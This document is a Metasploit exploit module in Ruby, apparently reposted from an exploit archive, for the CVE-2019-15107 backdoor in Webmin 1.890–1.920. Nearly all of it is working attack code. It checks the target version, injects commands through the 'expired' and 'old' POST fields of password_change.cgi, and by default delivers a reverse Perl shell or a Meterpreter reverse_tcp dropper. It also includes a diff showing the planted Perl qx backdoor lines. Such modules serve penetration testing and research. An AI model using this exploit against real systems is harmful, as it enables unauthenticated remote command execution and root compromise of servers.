Share
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Webmin password_change.cgi Backdoor',  
'Description' => %q{  
This module exploits a backdoor in Webmin versions 1.890 through 1.920.  
Only the SourceForge downloads were backdoored, but they are listed as  
official downloads on the project's site.  
  
Unknown attacker(s) inserted Perl qx statements into the build server's  
source code on two separate occasions: once in April 2018, introducing  
the backdoor in the 1.890 release, and in July 2018, reintroducing the  
backdoor in releases 1.900 through 1.920.  
  
Only version 1.890 is exploitable in the default install. Later affected  
versions require the expired password changing feature to be enabled.  
},  
'Author' => [  
'AkkuS', # (Özkan Mustafa Akkuş) Discovery and independent module  
'wvu' # This module and updated information about the backdoor  
],  
'References' => [  
['CVE', '2019-15107'], # y tho  
['URL', 'http://www.webmin.com/exploit.html'],  
['URL', 'https://pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html'],  
['URL', 'https://blog.firosolutions.com/exploits/webmin/'],  
['URL', 'https://github.com/webmin/webmin/issues/947']  
],  
'DisclosureDate' => '2019-08-10',  
'License' => MSF_LICENSE,  
'Platform' => ['unix', 'linux'],  
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],  
'Privileged' => true,  
'Targets' => [  
['Automatic (Unix In-Memory)',  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Version' => [  
Gem::Version.new('1.890'), Gem::Version.new('1.920')  
],  
'Type' => :unix_memory,  
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_perl'}  
],  
['Automatic (Linux Dropper)',  
'Platform' => 'linux',  
'Arch' => [ARCH_X86, ARCH_X64],  
'Version' => [  
Gem::Version.new('1.890'), Gem::Version.new('1.920')  
],  
'Type' => :linux_dropper,  
'DefaultOptions' => {'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'}  
]  
],  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]  
}  
))  
  
register_options([  
Opt::RPORT(10000),  
OptString.new('TARGETURI', [true, 'Base path to Webmin', '/'])  
])  
  
register_advanced_options([  
OptBool.new('ForceExploit', [false, 'Override check result', false])  
])  
end  
  
def check  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path)  
)  
  
unless res  
vprint_error('Server did not respond')  
return CheckCode::Unknown  
end  
  
version =  
res.headers['Server'].to_s.scan(%r{MiniServ/([\d.]+)}).flatten.first  
  
unless version  
vprint_error('Webmin version not detected')  
return CheckCode::Unknown  
end  
  
version = Gem::Version.new(version)  
  
vprint_status("Webmin #{version} detected")  
checkcode = CheckCode::Detected  
  
unless version.between?(*target['Version'])  
vprint_error("Webmin #{version} is not a supported target")  
return CheckCode::Safe  
end  
  
vprint_good("Webmin #{version} is a supported target")  
checkcode = CheckCode::Appears  
  
res = execute_command("echo #{token}")  
  
unless res  
vprint_error('Webmin did not respond to check command')  
return checkcode  
end  
  
if res.body.include?('Password changing is not enabled!')  
vprint_error('Expired password changing disabled')  
return CheckCode::Safe  
end  
  
if res.body.include?(token)  
vprint_good('Webmin executed a benign check command')  
checkcode = CheckCode::Vulnerable  
else  
vprint_error('Webmin did not execute our check command')  
return CheckCode::Safe  
end  
  
checkcode  
end  
  
def exploit  
# These CheckCodes are allowed to pass automatically  
checkcodes = [  
CheckCode::Appears,  
CheckCode::Vulnerable  
]  
  
unless checkcodes.include?(check) || datastore['ForceExploit']  
fail_with(Failure::NotVulnerable, 'Set ForceExploit to override')  
end  
  
print_status("Configuring #{target.name} target")  
  
case target['Type']  
when :unix_memory  
print_status("Sending #{datastore['PAYLOAD']} command payload")  
vprint_status("Generated command payload: #{payload.encoded}")  
  
res = execute_command(payload.encoded)  
  
if res && datastore['PAYLOAD'] == 'cmd/unix/generic'  
print_warning('Dumping command output in full response body')  
  
if res.body.empty?  
print_error('Empty response body, no command output')  
return  
end  
  
print_line(res.body)  
end  
when :linux_dropper  
print_status("Sending #{datastore['PAYLOAD']} command stager")  
execute_cmdstager  
end  
end  
  
=begin  
wvu@kharak:~/Downloads$ diff3 webmin-1.{890,930,920}/password_change.cgi  
====2  
1:1c  
3:1c  
#!/usr/bin/perl  
2:1c  
#!/usr/local/bin/perl  
====1  
1:12c  
$in{'expired'} eq '' || die $text{'password_expired'},qx/$in{'expired'}/;  
2:12c  
3:12c  
$miniserv{'passwd_mode'} == 2 || die "Password changing is not enabled!";  
====3  
1:40c  
2:40c  
$enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'});  
3:40c  
$enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'},qx/$in{'old'}/);  
====3  
1:200c  
2:200c  
# Show ok page  
3:200c  
  
wvu@kharak:~/Downloads$  
=end  
def execute_command(cmd, _opts = {})  
send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'password_change.cgi'),  
'headers' => {'Referer' => full_uri},  
'vars_post' => {  
# 1.890  
'expired' => cmd,  
# 1.900-1.920  
'new1' => token,  
'new2' => token,  
'old' => cmd  
}  
}, 3.5)  
end  
  
def token  
@token ||= Rex::Text.rand_text_alphanumeric(8..42)  
end  
  
end